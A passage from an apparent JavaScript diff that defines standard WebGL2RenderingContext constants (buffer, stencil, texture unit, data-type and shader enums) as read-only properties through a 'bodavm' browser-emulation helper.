"BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + 